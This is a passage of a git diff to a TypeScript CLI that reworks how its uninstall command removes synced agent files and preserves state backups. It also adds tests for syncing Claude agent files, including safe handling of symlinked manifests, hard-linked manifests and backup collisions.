\x1b[32m+\x1b[0m Removed managed flat agent: ${contractPath(path)}`); + } + for (const path of removal.kept.filter((path) => !removal.identityMismatch.includes(path))) { + console.log(` \x1b[33m!\x1b[0m Preserved modified flat agent at ${contractPath(path)}`); + } +} + +function removeFlatAgentBatch( + plannedAgents: PlannedFlatAgent[], + result: UninstallResult, + progress: UninstallBatchProgressController, +): void { + if (plannedAgents.length === 0) return; + const member = uninstallBatchMemberId( + 'asset', + `flat-agents:${plannedAgents + .map((asset) => resolve(asset.path)) + .sort() + .join('\n')}`, + ); + if (progress.isCompleted(member) || progress.isPreserved(member)) return; + progress.begin(member); + const removal = removeAgentSyncAssetsLocked( + {}, + { plannedAssets: plannedAgents.map((asset) => ({ path: asset.path, identity: asset.identity })) }, + ); + appendRemovalAdvisories(removal, result); + if (removal.failures.length > 0) { + if (removal.removed.length === 0 && removal.kept.length === 0) progress.abort(member); + recordRemovalFailures(removal, 'Removing flat agent', result); + return; + } + settleFlatAgentProgress(member, removal, result, progress); + reportFlatAgentRemoval(removal); +} + function removeSyncedAgentAssets( agentAssets: UninstallBatchScope['agentAssets'], result: UninstallResult, @@ -1412,35 +1834,17 @@ function removeSyncedAgentAssets( if (!agentAssets.some((asset) => asset.disposition === 'remove')) return; console.log('\x1b[2mRemoving synced agent assets...\x1b[0m'); for (const asset of agentAssets) { - if (asset.disposition !== 'remove') continue; - const member = uninstallBatchMemberId('asset', asset.path); - // A member already settled on a prior attempt (removed or preserved) is never - // reprocessed; restoring the original bytes cannot resurrect removal authority. - if (progress.isCompleted(member) || progress.isPreserved(member)) continue; - progress.begin(member); - const removal = removeAgentSyncAssets({}, { plannedAssets: [{ path: asset.path, identity: asset.identity }] }); - if (removal.failures.length > 0) { - if (removal.removed.length === 0) progress.abort(member); - for (const failure of removal.failures) { - result.failures.push({ step: `Removing synced asset ${contractPath(failure.path)}`, detail: failure.detail }); - } - return; - } - if (removal.kept.length > 0) { - const detail = - removal.identityMismatch.length > 0 - ? 'recorded removable asset was replaced by a different managed object after the uninstall batch; preserved it byte-identical' - : 'recorded removable asset was modified after the uninstall batch; preserved it byte-identical'; - console.log(` \x1b[33m!\x1b[0m Preserved managed asset byte-identical: ${contractPath(asset.path)}`); - recordPreservation(result, { step: `Preserving synced asset ${contractPath(asset.path)}`, detail }); - progress.preserve(member); - continue; - } - progress.complete(member); - if (removal.removed.length > 0) { - console.log(` \x1b[32m+\x1b[0m Removed managed asset: ${contractPath(asset.path)}`); + if (asset.disposition !== 'remove' || asset.identity.kind === 'agent') continue; + removeOneNonAgentAsset({ path: asset.path, identity: asset.identity }, result, progress); + if (result.failures.length > 0) return; + } + const flatAgents: PlannedFlatAgent[] = []; + for (const asset of agentAssets) { + if (asset.disposition === 'remove' && asset.identity.kind === 'agent') { + flatAgents.push({ path: asset.path, identity: asset.identity }); } } + removeFlatAgentBatch(flatAgents, result, progress); } export function uninstallBatchIntegrationViolations( @@ -1589,6 +1993,57 @@ function removeRulesMember( return failure; } +function isNodeErrorCode(error: unknown, code: string): boolean { + return typeof error === 'object' && error !== null && 'code' in error && error.code === code; +} + +function preservedGenieDirEntry(name: string): boolean { + return name === 'state-backups' || name === AGENT_SYNC_LOCK_NAME; +} + +/** Remove canonical install state while retaining durable backups and the active sync lock generation. */ +function removeGenieDirPreservingStateBackups(genieDir: string): void { + let stat: Stats; + try { + stat = lstatSync(genieDir); + } catch (error) { + if (isNodeErrorCode(error, 'ENOENT')) return; + throw error; + } + if (!stat.isDirectory() || stat.isSymbolicLink()) { + rmSync(genieDir, { recursive: true, force: true }); + return; + } + const names = readdirSync(genieDir); + if (!names.some(preservedGenieDirEntry)) { + rmSync(genieDir, { recursive: true, force: true }); + return; + } + for (const name of names) { + if (!preservedGenieDirEntry(name)) rmSync(join(genieDir, name), { recursive: true, force: true }); + } +} + +function removeGenieDirIfEmpty(genieDir: string): void { + try { + rmdirSync(genieDir); + } catch { + // Durable backups, another safe retained object, or an already-absent root are all valid. + } +} + +/** A durable-backups/active-lock-only root is recovery state, not an installed Genie tree. */ +export function hasRemovableGenieInstallState(genieDir: string): boolean { + try { + const stat = lstatSync(genieDir); + if (!stat.isDirectory() || stat.isSymbolicLink()) return true; + return readdirSync(genieDir).some((name) => !preservedGenieDirEntry(name)); + } catch (error) { + if (isNodeErrorCode(error, 'ENOENT')) return false; + return true; + } +} + function removeGenieHomeMember( genieDir: string, genieHomePresent: boolean, @@ -1598,8 +2053,8 @@ function removeGenieHomeMember( const member = uninstallBatchMemberId('home', resolve(genieDir)); if (progress.isCompleted(member)) return null; progress.begin(member); - const failure = tryRemoveStep('Removing genie directory...', 'Directory removed', () => - rmSync(genieDir, { recursive: true, force: true }), + const failure = tryRemoveStep('Removing genie directory...', 'Install state removed (state backups preserved)', () => + removeGenieDirPreservingStateBackups(genieDir), ); if (failure === null) progress.complete(member); return failure; @@ -1634,7 +2089,7 @@ function removeSymlinkMembers( /** * Uninstall Genie CLI entirely */ -function performUninstall( +function performUninstallScope( genieDir: string, scope: UninstallBatchScope, progress: UninstallBatchProgressController, @@ -1668,13 +2123,77 @@ function performUninstall( return result; } +export interface PerformUninstallDependencies { + /** Fully injected external agent roots for noninteractive full-flow tests. */ + agentSyncTargets?: AgentSyncRemovalTargets; + /** Avoid consulting process-global legacy rules state in isolated tests. */ + orchestrationRulesPath?: string; + /** Avoid process-global runtime integration mutation in isolated tests. */ + removeRuntimeIntegrations?: (removeMarketplace: boolean) => void; +} + +/** + * Fully injected compatibility seam retained for noninteractive uninstall-flow + * tests. Production uses the authenticated batch path below; both paths hold the + * same sync lock through flat-agent removal, runtime cleanup, and source deletion. + */ +export function performUninstall( + _hasHookScript: boolean, + existingSymlinks: string[], + genieDir: string, + hasGenieDir: boolean, + hasAgentAssets: boolean, + removeMarketplace: boolean, + dependencies: PerformUninstallDependencies = {}, +): void { + const targets = dependencies.agentSyncTargets ?? {}; + const genieHome = targets.genieHome ?? resolveGenieHome(); + const hasCurrentAgentAssets = hasAgentAssets && collectAgentSyncAssets(targets).length > 0; + const hasRemovableGenieDir = hasGenieDir && hasRemovableGenieInstallState(genieDir); + const hasInjectedRules = + dependencies.orchestrationRulesPath !== undefined && existsSync(dependencies.orchestrationRulesPath); + if ( + !hasCurrentAgentAssets && + !hasRemovableGenieDir && + !hasInjectedRules && + existingSymlinks.length === 0 && + !removeMarketplace + ) { + return; + } + + let lock: { release: () => void } | null; + try { + lock = acquireAgentSyncLock(genieHome); + } catch { + return; + } + if (lock === null) return; + try { + if (hasCurrentAgentAssets) { + const removal = removeAgentSyncAssetsLocked(targets); + if (removal.failures.length > 0) return; + } + if (hasInjectedRules) unlinkSync(dependencies.orchestrationRulesPath as string); + (dependencies.removeRuntimeIntegrations ?? removeRuntimeIntegrations)(removeMarketplace); + if (hasRemovableGenieDir) removeGenieDirPreservingStateBackups(genieDir); + const plannedNames = existingSymlinks.filter((name): name is (typeof SYMLINKS)[number] => + SYMLINKS.some((candidate) => candidate === name), + ); + if (plannedNames.length > 0) removeSymlinks(LOCAL_BIN, genieDir, plannedNames); + } finally { + lock.release(); + removeGenieDirIfEmpty(genieDir); + } +} + function uninstallBatchScope(plan: UninstallPlan): UninstallBatchScope { return { agentAssets: plan.agentAssets .map((asset): UninstallBatchScope['agentAssets'][number] => - // Only a clean asset carries a proven identity; a modified/corrupt one is - // recorded as keep and never becomes a deletion candidate. - !asset.modified && asset.identity !== undefined + // Flat agents carry an identity for clean deletion, missing-entry pruning, + // and modified-content keep-aside. Other modified/corrupt assets stay put. + asset.identity !== undefined && (asset.kind === 'agent' || !asset.modified) ? { path: resolve(asset.path), disposition: 'remove', identity: asset.identity } : { path: resolve(asset.path), disposition: 'keep' }, ) @@ -1727,7 +2246,7 @@ export function performFreshUninstallPlan( throw new Error(`uninstall preflight found unreadable or corrupt integration state: ${unsafeState.join('; ')}`); } const batch = executeUninstallBatch(genieDir, uninstallBatchScope(execution), (scope, progress) => - performUninstall(genieDir, scope, progress), + performUninstallScope(genieDir, scope, progress), ); return { execution, @@ -1782,6 +2301,54 @@ function reportPendingBatchPreview(genieDir: string): void { } } +function reportAgentSyncLockFailure(error?: unknown): void { + process.exitCode = 1; + const suffix = + error === undefined ? 'another agent-sync mutation is active.' : 'the shared agent-sync lock is unsafe.'; + console.log(`\x1b[31m!\x1b[0m Genie CLI uninstall is incomplete; ${suffix}`); + if (error !== undefined) console.log(` \x1b[31m-\x1b[0m ${errorMessage(error)}`); + console.log(); +} + +function executeFreshUninstall(genieDir: string, removeMarketplace: boolean): void { + console.log(); + // The prompt may remain open while another lifecycle process finishes. + // Discard every preview decision and rebuild the complete plan under both + // locks; destructive helpers still perform their per-artifact CAS checks. + let execution: UninstallPlan; + let result: UninstallResult; + try { + ({ execution, result } = performFreshUninstallPlan(genieDir, removeMarketplace)); + } catch (error) { + process.exitCode = 1; + console.log('\x1b[31m!\x1b[0m Genie CLI uninstall is incomplete; recovery or batch validation failed.'); + console.log(` \x1b[31m-\x1b[0m ${errorMessage(error)}`); + console.log(); + return; + } + reportUninstallResult(execution, result, genieDir); +} + +function executeConfirmedUninstall(genieDir: string, removeMarketplace: boolean): void { + let agentSyncLock: { release: () => void } | null; + try { + agentSyncLock = acquireAgentSyncLock(genieDir); + } catch (error) { + reportAgentSyncLockFailure(error); + return; + } + if (agentSyncLock === null) { + reportAgentSyncLockFailure(); + return; + } + try { + executeFreshUninstall(genieDir, removeMarketplace); + } finally { + agentSyncLock.release(); + removeGenieDirIfEmpty(genieDir); + } +} + export async function uninstallCommand(options: { removeMarketplace?: boolean } = {}): Promise { console.log(); console.log('\x1b[1m\x1b[33m Uninstall Genie CLI\x1b[0m'); @@ -1820,11 +2387,16 @@ export async function uninstallCommand(options: { removeMarketplace?: boolean } if (hasGenieDir) console.log(` \x1b[31m-\x1b[0m Genie directory (${contractPath(genieDir)})`); if (existingSymlinks.length > 0) console.log(` \x1b[31m-\x1b[0m Symlinks from ~/.local/bin: ${existingSymlinks.join(', ')}`); - const keptAssets = agentAssets.filter((asset) => asset.modified); + const keptAssets = agentAssets.filter( + (asset) => asset.modified && (asset.kind !== 'agent' || asset.identity === undefined), + ); + const keptAsideAgents = agentAssets.filter( + (asset) => asset.kind === 'agent' && asset.modified && asset.identity?.kind === 'agent', + ); const removableAssets = agentAssets.length - keptAssets.length; if (removableAssets > 0) console.log( - ` \x1b[31m-\x1b[0m Synced agent assets: ${removableAssets} unmodified managed skill dir(s)/council.js/hermes link across claude/codex/hermes`, + ` \x1b[31m-\x1b[0m Synced agent assets: ${removableAssets} managed skill dir(s)/agent file(s)/council.js/hermes link across claude/codex/hermes`, ); if (keptAssets.length > 0) { console.log( @@ -1832,6 +2404,12 @@ export async function uninstallCommand(options: { removeMarketplace?: boolean } ); for (const asset of keptAssets) console.log(` \x1b[33m${contractPath(asset.path)}\x1b[0m`); } + if (keptAsideAgents.length > 0) { + console.log( + ` \x1b[33m~\x1b[0m Modified flat agents will be preserved under *${KEPT_SUFFIX} and disowned: ${keptAsideAgents.length} file(s):`, + ); + for (const asset of keptAsideAgents) console.log(` \x1b[33m${contractPath(asset.path)}\x1b[0m`); + } if (managedRoleAgents.length > 0) { const modified = managedRoleAgents.filter((entry) => entry.ownership === 'managed-modified').length; console.log( @@ -1878,23 +2456,7 @@ export async function uninstallCommand(options: { removeMarketplace?: boolean } if ('skipped' in lifecycleLease) throw new Error(`Another Genie lifecycle command is active: ${lifecycleLease.skipped}`); try { - console.log(); - // The prompt may remain open while another lifecycle process finishes. - // Discard every preview decision and rebuild the complete plan under the - // lease; destructive helpers still perform their per-artifact CAS checks. - let execution: UninstallPlan; - let result: UninstallResult; - try { - ({ execution, result } = performFreshUninstallPlan(genieDir, options.removeMarketplace ?? false)); - } catch (error) { - process.exitCode = 1; - console.log('\x1b[31m!\x1b[0m Genie CLI uninstall is incomplete; recovery or batch validation failed.'); - console.log(` \x1b[31m-\x1b[0m ${error instanceof Error ? error.message : String(error)}`); - console.log(); - return; - } - - reportUninstallResult(execution, result, genieDir); + executeConfirmedUninstall(genieDir, options.removeMarketplace ?? false); } finally { lifecycleLease.release(); } diff --git a/src/lib/agent-sync.test.ts b/src/lib/agent-sync.test.ts index bd589e060..3b2de4c2d 100644 --- a/src/lib/agent-sync.test.ts +++ b/src/lib/agent-sync.test.ts @@ -18,6 +18,7 @@ import { closeSync, cpSync, existsSync, + linkSync, lstatSync, mkdirSync, mkdtempSync, @@ -44,6 +45,7 @@ import { checkAgentSync } from '../genie-commands/doctor'; import { runAgentSyncSafe } from '../genie-commands/update'; import { type AgentReport, + AgentSyncLockError, type AgentSyncOptions, type AgentSyncReport, CODEX_FALLBACK_RETIREMENT_ROOT, @@ -53,16 +55,19 @@ import { LIFECYCLE_LEASE_PATH_ENV, TARGET_NAME, WORKFLOW_MANIFEST_NAME, + acquireAgentSyncLock, acquireLifecycleLease, applyCodexFallbackRetirement, atomicRenameDirectoryNoClobber, computeDirDigest, + computeFileDigest, currentSyncLockHostId, fsyncPathForTest, inspectManagedWorkflow, lifecycleLockPath, planCodexFallbackRetirement, publishDirectoryViaNameClaim, + readAgentFilesManifest, recoverCodexFallbackRetirements, recoverManagedSkillTransactions, recoverManagedWorkflowTransactions, @@ -132,10 +137,16 @@ function writeSourceSkill(pluginRoot: string, name: string, files: Record>; + agents?: Record; withTemplate?: boolean; } @@ -152,6 +163,9 @@ function setup(opts: SetupOptions = {}): Fixture { }; for (const [name, files] of Object.entries(skills)) writeSourceSkill(pluginRoot, name, files); + const agents = opts.agents ?? { reviewer: '# reviewer\n', scout: '# scout\n' }; + for (const [name, content] of Object.entries(agents)) writeSourceAgent(pluginRoot, name, content); + if (opts.withTemplate ?? true) writeFile(join(pluginRoot, 'workflows', 'council.js'), TEMPLATE_BODY); writeFile(join(hermesSource, 'plugin.json'), '{"name":"hermes-genie"}\n'); @@ -205,6 +219,10 @@ function extraAction(report: AgentReport, kind: string): string | undefined { return report.extras.find((entry) => entry.kind === kind)?.action; } +function agentFileAction(report: AgentReport, name: string): string | undefined { + return report.extras.find((entry) => entry.kind === 'agent' && entry.detail === `${name}.md`)?.action; +} + function readManifest(dir: string): { managedBy: string; version: string | null; digest: string; syncedAt: string } { return JSON.parse(readFileSync(join(dir, MANIFEST_NAME), 'utf8')); } @@ -275,6 +293,525 @@ describe('fresh create', () => { }); }); +// --------------------------------------------------------------------------- +// Claude flat agent fan-out +// --------------------------------------------------------------------------- + +describe('claude agent fan-out', () => { + test('fresh sync writes flat files and one directory-level per-file manifest', () => { + present(fixture.claudeDir); + + const claude = agentReport(run(), 'claude'); + const agentsDir = join(fixture.claudeDir, 'agents'); + const manifest = readAgentFilesManifest(agentsDir); + + expect(agentFileAction(claude, 'reviewer')).toBe('created'); + expect(agentFileAction(claude, 'scout')).toBe('created'); + expect(readFileSync(join(agentsDir, 'reviewer.md'), 'utf8')).toBe('# reviewer\n'); + expect(readFileSync(join(agentsDir, 'scout.md'), 'utf8')).toBe('# scout\n'); + expect(manifest?.managedBy).toBe('genie-agent-sync'); + expect(Object.keys(manifest?.files ?? {})).toEqual(['reviewer.md', 'scout.md']); + expect(manifest?.files['scout.md']).toEqual({ + digest: computeFileDigest(join(agentsDir, 'scout.md')), + version: '9.9.9', + syncedAt: '2026-07-10T12:00:00.000Z', + }); + }); + + test('second sync is byte-idempotent and reports only unchanged agent files', () => { + present(fixture.claudeDir); + run(); + const manifestPath = join(fixture.claudeDir, 'agents', MANIFEST_NAME); + const before = readFileSync(manifestPath); + + const second = run(); + const claude = agentReport(second, 'claude'); + const agentActions = claude.extras.filter((entry) => entry.kind === 'agent').map((entry) => entry.action); + + expect(agentActions).toEqual(['unchanged', 'unchanged']); + expect(agentActions.some((action) => ['created', 'updated', 'adopted', 'removed'].includes(action))).toBe(false); + expect(readFileSync(manifestPath)).toEqual(before); + expect(second.backupsDir).toBeNull(); + }); + + test('a clean managed agent updates in place when its source digest changes', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const beforeDigest = readAgentFilesManifest(agentsDir)?.files['scout.md']?.digest; + writeSourceAgent(fixture.pluginRoot, 'scout', '# scout v2\n'); + + const report = run(); + const claude = agentReport(report, 'claude'); + + expect(agentFileAction(claude, 'scout')).toBe('updated'); + expect(readFileSync(join(agentsDir, 'scout.md'), 'utf8')).toBe('# scout v2\n'); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']?.digest).not.toBe(beforeDigest); + expect(report.backupsDir).toBeNull(); + }); + + test('a pre-existing unmanaged scout is backed up before adoption; unrelated user agents are untouched', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + writeFile(join(agentsDir, 'scout.md'), '# pre-existing hand copy\n'); + const ownPath = join(agentsDir, 'my-own-agent.md'); + const ownBytes = Buffer.from([0x23, 0x20, 0x6d, 0x69, 0x6e, 0x65, 0x0a]); + mkdirSync(dirname(ownPath), { recursive: true }); + writeFileSync(ownPath, ownBytes); + + const report = run(); + const claude = agentReport(report, 'claude'); + + expect(agentFileAction(claude, 'scout')).toBe('adopted'); + expect(readFileSync(join(agentsDir, 'scout.md'), 'utf8')).toBe('# scout\n'); + expect(readFileSync(ownPath)).toEqual(ownBytes); + expect(readAgentFilesManifest(agentsDir)?.files['my-own-agent.md']).toBeUndefined(); + const backup = join(report.backupsDir as string, 'claude', 'agents', 'scout.md'); + expect(readFileSync(backup, 'utf8')).toBe('# pre-existing hand copy\n'); + }); + + test('an unmodified source orphan is backed up, removed, and dropped from the manifest', () => { + present(fixture.claudeDir); + run(); + rmSync(join(fixture.pluginRoot, 'agents', 'scout.md')); + + const report = run(); + const claude = agentReport(report, 'claude'); + const agentsDir = join(fixture.claudeDir, 'agents'); + + expect(agentFileAction(claude, 'scout')).toBe('removed'); + expect(existsSync(join(agentsDir, 'scout.md'))).toBe(false); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']).toBeUndefined(); + const backup = join(report.backupsDir as string, 'claude', 'agents', 'scout.md'); + expect(readFileSync(backup, 'utf8')).toBe('# scout\n'); + }); + + test('a modified source orphan stays byte-identical, is advised, and relinquishes ownership', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const editedBytes = Buffer.from('# my local scout edits\n'); + writeFileSync(scoutPath, editedBytes); + rmSync(join(fixture.pluginRoot, 'agents', 'scout.md')); + + const report = run(); + const claude = agentReport(report, 'claude'); + + expect(agentFileAction(claude, 'scout')).toBe('kept-modified-orphan'); + expect(readFileSync(scoutPath)).toEqual(editedBytes); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']).toBeUndefined(); + expect(claude.advisories.some((line) => line.includes('kept modified orphan scout.md'))).toBe(true); + expect(report.backupsDir).toBeNull(); + }); + + test('a symlink manifest is refused without following it or changing victim bytes', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + mkdirSync(agentsDir, { recursive: true }); + const victim = join(fixture.root, 'user-owned-manifest-target.json'); + const victimBytes = Buffer.from('{"user":"owned through a symlink"}\n'); + writeFileSync(victim, victimBytes); + const manifestPath = join(agentsDir, MANIFEST_NAME); + symlinkSync(victim, manifestPath); + + const claude = agentReport(run(), 'claude'); + + expect(readFileSync(victim)).toEqual(victimBytes); + expect(lstatSync(manifestPath).isSymbolicLink()).toBe(true); + expect(readAgentFilesManifest(agentsDir)).toBeNull(); + expect(existsSync(join(agentsDir, 'scout.md'))).toBe(false); + expect(claude.advisories.some((line) => line.includes('manifest') && line.includes('symlink'))).toBe(true); + }); + + test('a multiply-linked manifest is refused without changing either linked name', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + mkdirSync(agentsDir, { recursive: true }); + const victim = join(fixture.root, 'hardlinked-manifest-victim.json'); + const victimBytes = Buffer.from('{"user":"owns both links"}\n'); + writeFileSync(victim, victimBytes); + const manifestPath = join(agentsDir, MANIFEST_NAME); + linkSync(victim, manifestPath); + + const claude = agentReport(run(), 'claude'); + + expect(lstatSync(victim).nlink).toBe(2); + expect(readFileSync(victim)).toEqual(victimBytes); + expect(readFileSync(manifestPath)).toEqual(victimBytes); + expect(existsSync(join(agentsDir, 'scout.md'))).toBe(false); + expect(claude.advisories.some((line) => line.includes('manifest') && line.includes('hard links'))).toBe(true); + }); + + test('a foreign regular manifest is backed up byte-for-byte before safe adoption', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + mkdirSync(agentsDir, { recursive: true }); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const foreignBytes = Buffer.from('foreign manifest bytes\n'); + writeFileSync(manifestPath, foreignBytes); + + const report = run(); + const manifest = readAgentFilesManifest(agentsDir); + + expect(manifest?.managedBy).toBe('genie-agent-sync'); + expect(Object.keys(manifest?.files ?? {})).toEqual(['reviewer.md', 'scout.md']); + expect(readFileSync(join(report.backupsDir as string, 'claude', 'agents', MANIFEST_NAME))).toEqual(foreignBytes); + expect( + agentReport(report, 'claude').advisories.some((line) => line.includes('adopted foreign agent manifest')), + ).toBe(true); + }); + + function backupCollisionPath(): string { + return join( + dirname(fixture.genieHome), + '.genie-recovery', + `agent-sync-2026-07-10T12-00-00-000Z-${process.pid}`, + 'claude', + 'agents', + 'scout.md', + ); + } + + test('a destination symlink collision survives and adoption uses a distinct exclusive backup root', () => { + present(fixture.claudeDir); + const scoutPath = join(fixture.claudeDir, 'agents', 'scout.md'); + writeFile(scoutPath, '# unmanaged scout\n'); + const collision = backupCollisionPath(); + const victim = join(fixture.root, 'backup-symlink-victim'); + const victimBytes = Buffer.from('victim bytes must survive\n'); + writeFileSync(victim, victimBytes); + mkdirSync(dirname(collision), { recursive: true }); + symlinkSync(victim, collision); + + const report = run(); + + expect(report.backupsDir).toBe( + join(dirname(fixture.genieHome), '.genie-recovery', `agent-sync-2026-07-10T12-00-00-000Z-${process.pid}-1`), + ); + expect(lstatSync(collision).isSymbolicLink()).toBe(true); + expect(readFileSync(victim)).toEqual(victimBytes); + expect(readFileSync(join(report.backupsDir as string, 'claude', 'agents', 'scout.md'), 'utf8')).toBe( + '# unmanaged scout\n', + ); + }); + + test('a destination hardlink collision preserves every linked byte and allocates a distinct backup', () => { + present(fixture.claudeDir); + writeFile(join(fixture.claudeDir, 'agents', 'scout.md'), '# unmanaged scout\n'); + const collision = backupCollisionPath(); + const victim = join(fixture.root, 'backup-hardlink-victim'); + const victimBytes = Buffer.from('hardlink bytes must survive\n'); + writeFileSync(victim, victimBytes); + mkdirSync(dirname(collision), { recursive: true }); + linkSync(victim, collision); + + const report = run(); + + expect(lstatSync(victim).nlink).toBe(2); + expect(readFileSync(victim)).toEqual(victimBytes); + expect(readFileSync(collision)).toEqual(victimBytes); + expect(readFileSync(join(report.backupsDir as string, 'claude', 'agents', 'scout.md'), 'utf8')).toBe( + '# unmanaged scout\n', + ); + }); + + test('an existing regular backup collision is never overwritten', () => { + present(fixture.claudeDir); + writeFile(join(fixture.claudeDir, 'agents', 'scout.md'), '# unmanaged scout\n'); + const collision = backupCollisionPath(); + const collisionBytes = Buffer.from('prior backup bytes\n'); + mkdirSync(dirname(collision), { recursive: true }); + writeFileSync(collision, collisionBytes); + + const report = run(); + + expect(readFileSync(collision)).toEqual(collisionBytes); + expect(report.backupsDir).not.toBe(dirname(dirname(dirname(collision)))); + expect(readFileSync(join(report.backupsDir as string, 'claude', 'agents', 'scout.md'), 'utf8')).toBe( + '# unmanaged scout\n', + ); + }); + + test('pre-existing fixed agent and manifest stage debris survives while two runs converge', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const agentStagePath = `${scoutPath}.genie-sync.staging`; + const manifestStagePath = `${manifestPath}.genie-sync.staging`; + const agentStageBytes = Buffer.from('agent crash debris\n'); + const manifestStageBytes = Buffer.from('manifest crash debris\n'); + writeFileSync(agentStagePath, agentStageBytes); + writeFileSync(manifestStagePath, manifestStageBytes); + writeSourceAgent(fixture.pluginRoot, 'scout', '# scout v2\n'); + + const first = agentReport(run(), 'claude'); + const second = agentReport(run(), 'claude'); + + expect(agentFileAction(first, 'scout')).toBe('updated'); + expect(agentFileAction(second, 'scout')).toBe('unchanged'); + expect(readFileSync(scoutPath, 'utf8')).toBe('# scout v2\n'); + expect(readFileSync(agentStagePath)).toEqual(agentStageBytes); + expect(readFileSync(manifestStagePath)).toEqual(manifestStageBytes); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']?.digest).toBe(computeFileDigest(scoutPath)); + }); + + test('an injected agent commit failure preserves the prior valid live bytes and manifest', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const scoutBefore = readFileSync(scoutPath); + const manifestBefore = readFileSync(manifestPath); + writeSourceAgent(fixture.pluginRoot, 'scout', '# scout v2\n'); + + const claude = agentReport( + run({ + beforeAgentFileMutation: (event) => { + if (event.operation === 'replace' && event.path === scoutPath) throw new Error('injected agent commit fault'); + }, + }), + 'claude', + ); + + expect(readFileSync(scoutPath)).toEqual(scoutBefore); + expect(readFileSync(manifestPath)).toEqual(manifestBefore); + expect(claude.advisories.some((line) => line.includes('scout.md') && line.includes('injected'))).toBe(true); + }); + + test('an injected manifest commit failure preserves the prior valid manifest and recovers on retry', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const manifestBefore = readFileSync(manifestPath); + const editedBytes = Buffer.from('# locally edited orphan\n'); + writeFileSync(scoutPath, editedBytes); + rmSync(join(fixture.pluginRoot, 'agents', 'scout.md')); + const first = agentReport( + run({ + beforeAgentManifestCommit: () => { + throw new Error('injected manifest commit fault'); + }, + }), + 'claude', + ); + + expect(readFileSync(scoutPath)).toEqual(editedBytes); + expect(readFileSync(manifestPath)).toEqual(manifestBefore); + expect(first.advisories.some((line) => line.includes('manifest') && line.includes('commit failed'))).toBe(true); + expect(first.failures?.join('\n')).toContain('agent transaction did not commit'); + + const second = agentReport(run(), 'claude'); + expect(agentFileAction(second, 'scout')).toBe('kept-modified-orphan'); + expect(readFileSync(scoutPath)).toEqual(editedBytes); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']).toBeUndefined(); + }); + + test('a clean orphan is restored exactly when its ownership commit fails', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const scoutBefore = readFileSync(scoutPath); + const manifestBefore = readFileSync(manifestPath); + rmSync(join(fixture.pluginRoot, 'agents', 'scout.md')); + + const first = agentReport( + run({ + beforeAgentManifestCommit: () => { + throw new Error('injected clean-orphan manifest fault'); + }, + }), + 'claude', + ); + + expect(readFileSync(scoutPath)).toEqual(scoutBefore); + expect(readFileSync(manifestPath)).toEqual(manifestBefore); + expect(agentFileAction(first, 'scout')).toBeUndefined(); + expect(first.advisories.some((line) => line.includes('clean-orphan manifest fault'))).toBe(true); + + const second = agentReport(run(), 'claude'); + expect(agentFileAction(second, 'scout')).toBe('removed'); + expect(existsSync(scoutPath)).toBe(false); + }); + + test('manifest-stage cleanup preserves a replacement payload byte-for-byte and advises', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const scoutBefore = readFileSync(scoutPath); + const manifestBefore = readFileSync(manifestPath); + const replacementBytes = Buffer.from('foreign replacement stage bytes\n'); + let replacedStagePath = ''; + writeSourceAgent(fixture.pluginRoot, 'scout', '# scout v2\n'); + + const claude = agentReport( + run({ + beforeAgentManifestCommit: ({ stagePath }) => { + replacedStagePath = stagePath; + rmSync(stagePath); + writeFileSync(stagePath, replacementBytes); + throw new Error('manifest commit fault after stage replacement'); + }, + }), + 'claude', + ); + + expect(replacedStagePath).not.toBe(''); + expect(readFileSync(replacedStagePath)).toEqual(replacementBytes); + expect(readFileSync(scoutPath)).toEqual(scoutBefore); + expect(readFileSync(manifestPath)).toEqual(manifestBefore); + expect(claude.advisories.some((line) => line.includes('preserved replaced staged payload'))).toBe(true); + }); + + test('a replacement at the captured-to-publish barrier stays live and is not manifest-owned', () => { + present(fixture.claudeDir); + run(); + const scoutPath = join(fixture.claudeDir, 'agents', 'scout.md'); + const concurrentBytes = Buffer.from('# concurrent local edit\n'); + writeSourceAgent(fixture.pluginRoot, 'scout', '# scout v2\n'); + + const claude = agentReport( + run({ + beforeAgentFileMutation: (event) => { + if (event.operation === 'replace' && event.path === scoutPath) writeFileSync(scoutPath, concurrentBytes); + }, + }), + 'claude', + ); + + expect(readFileSync(scoutPath)).toEqual(concurrentBytes); + expect(readAgentFilesManifest(join(fixture.claudeDir, 'agents'))?.files['scout.md']).toBeUndefined(); + expect(agentFileAction(claude, 'scout')).toBe('skipped-unmanaged-kept'); + expect(claude.advisories.some((line) => line.includes('not published or claimed'))).toBe(true); + const keptPath = `${scoutPath}.genie-kept`; + expect(readFileSync(keptPath, 'utf8')).toBe('# scout\n'); + }); + + test('an orphan replaced after backup survives live and relinquishes ownership immediately', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const replacementBytes = Buffer.from('# replacement after orphan backup\n'); + 